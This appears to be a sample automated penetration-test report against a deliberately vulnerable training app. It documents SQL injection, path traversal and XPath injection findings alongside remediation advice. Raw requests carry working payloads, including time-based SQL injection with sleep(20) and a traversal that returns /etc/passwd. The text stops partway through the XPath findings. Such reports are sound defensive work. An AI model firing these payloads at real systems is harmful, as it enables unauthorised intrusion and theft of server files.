SECSCI AutoPT Sample Report

Summary

The table below shows the numbers of issues identified in different categories. Issues are classified according to severity as High, Medium, Low, Information or False Positive. This reflects the likely impact of each issue for a typical organization. Issues are also classified according to confidence as Certain, Firm or Tentative. This reflects the inherent reliability of the technique that was used to identify the issue.

    Confidence
    Certain Firm Tentative Total
Severity High 7 7 0 14
Medium 1 0 0 1
Low 6 0 0 6
Information 0 0 0 0
False Positive 0 0 0 0

The chart below shows the aggregated numbers of issues identified in each category. Solid colored bars represent issues with a confidence level of Certain, and the bars fade as the confidence level falls.

    Number of issues
    0 2 4 6 8 10 12
Severity High
 
Medium
 
Low
 

Contents

1. SQL injection

1.1. https://testapp.secsci-autopt/ [uid cookie]

1.2. https://testapp.secsci-autopt/index.php [uid cookie]

1.3. https://testapp.secsci-autopt/index.php [username parameter]

1.4. https://testapp.secsci-autopt/index.php [username parameter]

2. File path traversal

3. XPath injection

3.1. https://testapp.secsci-autopt/index.php [User-Agent HTTP header]

3.2. https://testapp.secsci-autopt/index.php [do parameter]

3.3. https://testapp.secsci-autopt/index.php [showhints cookie]

3.4. https://testapp.secsci-autopt/index.php [uid cookie]

3.5. https://testapp.secsci-autopt/index.php [username cookie]

4. Out-of-band resource load (HTTP)

5. Client-side desync

6. Cross-site scripting (reflected)

6.1. https://testapp.secsci-autopt/index.php [page parameter]

6.2. https://testapp.secsci-autopt/index.php [username parameter]

6.3. https://testapp.secsci-autopt/ [User-Agent HTTP header]

6.4. https://testapp.secsci-autopt/index.php [User-Agent HTTP header]

6.5. https://testapp.secsci-autopt/set-up-database.php [Referer HTTP header]

7. TLS certificate

8. Password submitted using GET method

9. Password field with autocomplete enabled

10. Strict transport security not enforced


1. SQL injection
Next

There are 4 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

A wide range of damaging attacks can often be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and taking control of the database server.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterized queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already been defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterized queries. It is strongly recommended that you parameterize every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

References

Vulnerability classifications



1.1. https://testapp.secsci-autopt/ [uid cookie]
Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://testapp.secsci-autopt
Path:   /

Issue detail

The uid cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the uid cookie, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET / HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1; username=test; uid=24'
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:12:23 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 57445
Connection: close
Content-Type: text/html;charset=UTF-8

<br />
<b>Warning</b>: Undefined variable $lQueryString in <b>/var/www/mutillidae/index.php</b> on line <b>262</b><br />
<fieldset>
           <legend>Error Message</legend>
           <table>
               <tr><td colspan
...[SNIP]...
<td class="error-detail">/var/www/mutillidae/classes/MySQLHandler.php on line 230: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''24''' at line 1 Query: SELECT&#x20;&#x2a;&#x20;FROM&#x20;accounts&#x20;WHERE&#x20;cid&#x3d;&#x27;24&#
...[SNIP]...

Request 2

GET / HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1; username=test; uid=24''
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response 2

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:12:23 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
Logged-In-User: test
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 55717
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
   <link rel="shortcut icon" href="./images/favicon.ico" type=
...[SNIP]...
1.2. https://testapp.secsci-autopt/index.php [uid cookie]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://testapp.secsci-autopt
Path:   /index.php

Issue detail

The uid cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the uid cookie, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /index.php?page=user-info.php HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1; username=test; uid=24'
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://testapp.secsci-autopt/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:39:10 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 58547
Connection: close
Content-Type: text/html;charset=UTF-8

<br />
<b>Warning</b>: Undefined variable $lQueryString in <b>/var/www/mutillidae/index.php</b> on line <b>262</b><br />
<fieldset>
           <legend>Error Message</legend>
           <table>
               <tr><td colspan
...[SNIP]...
<td class="error-detail">/var/www/mutillidae/classes/MySQLHandler.php on line 230: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''24''' at line 1 Query: SELECT&#x20;&#x2a;&#x20;FROM&#x20;accounts&#x20;WHERE&#x20;cid&#x3d;&#x27;24&#
...[SNIP]...

Request 2

GET /index.php?page=user-info.php HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1; username=test; uid=24''
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://testapp.secsci-autopt/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response 2

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:39:10 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 56819
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
   <link rel="shortcut icon" href="./images/favicon.ico" type=
...[SNIP]...
1.3. https://testapp.secsci-autopt/index.php [username parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://testapp.secsci-autopt
Path:   /index.php

Issue detail

The username parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the username parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Additionally, the payload ' and (select*from(select(sleep(20)))a)-- was submitted in the username parameter. The application timed out when responding to the request, indicating that the injected SQL command caused a time delay.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /index.php?page=user-info.php&username=test'&password=test&user-info-php-submit-button=View+Account+Details HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://testapp.secsci-autopt/index.php?page=user-info.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:27:45 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 58657
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
   <link rel="shortcut icon" href="./images/favicon.ico" type=
...[SNIP]...
<td class="error-detail">/var/www/mutillidae/classes/MySQLHandler.php on line 230: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'test'' at line 2 Query: SELECT&#x20;&#x2a;&#x20;FROM&#x20;accounts&#x0d;&#x0a;&#x09;&#x09;&#x09;WHERE&
...[SNIP]...

Request 2

GET /index.php?page=user-info.php&username=test''&password=test&user-info-php-submit-button=View+Account+Details HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://testapp.secsci-autopt/index.php?page=user-info.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response 2

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:27:55 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 57054
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
   <link rel="shortcut icon" href="./images/favicon.ico" type=
...[SNIP]...

Request 3

GET /index.php?page=user-info.php&username=test'%20and%20(select*from(select(sleep(20)))a)--%20&password=test&user-info-php-submit-button=View+Account+Details HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://testapp.secsci-autopt/index.php?page=user-info.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

1.4. https://testapp.secsci-autopt/index.php [username parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://testapp.secsci-autopt
Path:   /index.php

Issue detail

The username parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the username parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Additionally, the payload '+(select*from(select(sleep(20)))a)+' was submitted in the username parameter. The application timed out when responding to the request, indicating that the injected SQL command caused a time delay.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

POST /index.php?page=login.php HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1
Content-Length: 57
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://testapp.secsci-autopt
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://testapp.secsci-autopt/index.php?page=login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

username=test'&password=test&login-php-submit-button=Login

Response 1

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:33:10 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 60798
Connection: close
Content-Type: text/html;charset=UTF-8

<fieldset>
           <legend>Error Message</legend>
           <table>
               <tr><td colspan="2">&nbsp;</td></tr>
               <tr>
                   <td colspan="2" class="error-header">Failure is always an option</td>
               </tr>
       
...[SNIP]...
<td class="error-detail">/var/www/mutillidae/classes/MySQLHandler.php on line 230: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''test''' at line 1 Query: SELECT&#x20;username&#x20;FROM&#x20;accounts&#x20;WHERE&#x20;username&#x3d;&
...[SNIP]...

Request 2

POST /index.php?page=login.php HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1
Content-Length: 57
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://testapp.secsci-autopt
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://testapp.secsci-autopt/index.php?page=login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

username=test''&password=test&login-php-submit-button=Login

Response 2

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:33:11 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 59053
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
   <link rel="shortcut icon" href="./images/favicon.ico" type=
...[SNIP]...

Request 3

POST /index.php?page=login.php HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1
Content-Length: 57
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://testapp.secsci-autopt
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://testapp.secsci-autopt/index.php?page=login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

username=test'%2b(select*from(select(sleep(20)))a)%2b'&password=test&login-php-submit-button=Login
2. File path traversal
Previous  Next

Summary

Severity:   High
Confidence:   Firm
Host:   https://testapp.secsci-autopt
Path:   /index.php

Issue detail

The page parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server.

The payload ../../../../../../../../../../../../../../../../etc/passwd was submitted in the page parameter. The requested file was returned in the application's response.

Issue background

File path traversal vulnerabilities arise when user-controllable data is used within a filesystem operation in an unsafe manner. Typically, a user-supplied filename is appended to a directory prefix in order to read or write the contents of a file. If vulnerable, an attacker can supply path traversal sequences (using dot-dot-slash characters) to break out of the intended directory and read or write files elsewhere on the filesystem.

This is typically a very serious vulnerability, enabling an attacker to access sensitive files containing configuration data, passwords, database records, log data, source code, and program scripts and binaries.

Issue remediation

Ideally, application functionality should be designed in such a way that user-controllable data does not need to be passed to filesystem operations. This can normally be achieved by referencing known files via an index number rather than their name, and using application-generated filenames to save user-supplied file content.

If it is considered unavoidable to pass user-controllable data to a filesystem operation, three layers of defense can be employed to prevent path traversal attacks:

References

Vulnerability classifications

Request 1

GET /index.php?page=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1; username=test; uid=24
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://testapp.secsci-autopt/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:17:43 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 50481
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
   <link rel="shortcut icon" href="./images/favicon.ico" type=
...[SNIP]...
<!-- Begin Content -->
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/
...[SNIP]...
bin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
ntp:x:101:101::/nonexistent:/usr/sbin/nologin
phinius:x:1000:1000::/home/phinius:/bin/sh

       <!-- I t
...[SNIP]...
3. XPath injection
Previous  Next

There are 5 instances of this issue:

Issue background

XPath injection vulnerabilities arise when user-controllable data is incorporated into XPath queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Depending on the purpose for which the vulnerable query is being used, an attacker may be able to exploit an XPath injection flaw to read sensitive application data or interfere with application logic.

Issue remediation

User input should be strictly validated before being incorporated into XPath queries. In most cases, it will be appropriate to accept input containing only short alphanumeric strings. At the very least, input containing any XPath metacharacters such as " ' / @ = * [ ] ( and ) should be rejected.

References

Vulnerability classifications



3.1. https://testapp.secsci-autopt/index.php [User-Agent HTTP header]
Previous  Next

Summary

Severity:   High
Confidence:   Firm
Host:   https://testapp.secsci-autopt
Path:   /index.php

Issue detail

The User-Agent HTTP header appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the User-Agent HTTP header, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /index.php?do=logout HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36'
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://testapp.secsci-autopt/index.php?page=login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:32:01 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 55454
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
   <link rel="shortcut icon" href="./images/favicon.ico" type=
...[SNIP]...
<a href="index.php?page=user-info-xpath.php">
...[SNIP]...
3.2. https://testapp.secsci-autopt/index.php [do parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Firm
Host:   https://testapp.secsci-autopt
Path:   /index.php

Issue detail

The do parameter appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the do parameter, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /index.php?do=logout' HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1; username=test; uid=24
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://testapp.secsci-autopt/index.php?page=login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:13:37 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 55553
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
   <link rel="shortcut icon" href="./images/favicon.ico" type=
...[SNIP]...
<a href="index.php?page=user-info-xpath.php">
...[SNIP]...
